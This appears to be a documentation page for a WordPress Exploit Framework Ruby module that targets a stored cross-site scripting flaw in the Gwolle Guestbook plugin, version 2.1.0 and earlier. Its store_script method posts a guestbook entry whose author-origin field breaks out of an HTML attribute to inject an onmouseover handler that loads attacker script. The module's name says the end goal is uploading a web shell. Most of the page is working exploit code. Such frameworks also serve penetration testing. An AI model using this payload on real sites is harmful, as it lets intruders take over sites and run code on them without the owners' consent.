class Wpxf::Exploit::GwolleGuestbookStoredXssShellUpload
Public Class Methods
new()
click to toggle source
Calls superclass method
Wpxf::WordPress::StoredXss::new
# File lib/wpxf/modules/exploit/xss/stored/gwolle_guestbook_stored_xss_shell_upload.rb, line 6 def initialize super update_info( name: 'Gwolle Guestbook <= 2.1.0 Stored XSS Shell Upload', author: [ 'Radjnies Bhansingh', # Disclosure 'rastating' # WPXF module ], references: [ ['WPVDB', '8785'], ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_gwolle_guestbook_wordpress_plugin.html'] ], date: 'Mar 01 2017' ) end
Public Instance Methods
check()
click to toggle source
# File lib/wpxf/modules/exploit/xss/stored/gwolle_guestbook_stored_xss_shell_upload.rb, line 23 def check check_plugin_version_from_readme('gwolle-gb', '2.1.1') end
store_script()
click to toggle source
# File lib/wpxf/modules/exploit/xss/stored/gwolle_guestbook_stored_xss_shell_upload.rb, line 31 def store_script execute_post_request( url: full_uri, body: { 'gwolle_gb_function' => 'add_entry', 'gwolle_gb_book_id' => '1', 'gwolle_gb_author_name' => Utility::Text.rand_alpha(5), 'gwolle_gb_author_origin' => "#{Utility::Text.rand_alpha(5)}\" onmouseover=#{xss_ascii_encoded_include_script} a=\"", 'gwolle_gb_author_email' => Utility::Text.rand_email, 'gwolle_gb_author_website' => '', 'gwolle_gb_subject' => Utility::Text.rand_alpha(5), 'gwolle_gb_content' => Utility::Text.rand_alpha(10), 'gwolle_gb_submit' => 'Submit' } ) end
vulnerable_page()
click to toggle source
# File lib/wpxf/modules/exploit/xss/stored/gwolle_guestbook_stored_xss_shell_upload.rb, line 27 def vulnerable_page 'the post review page' end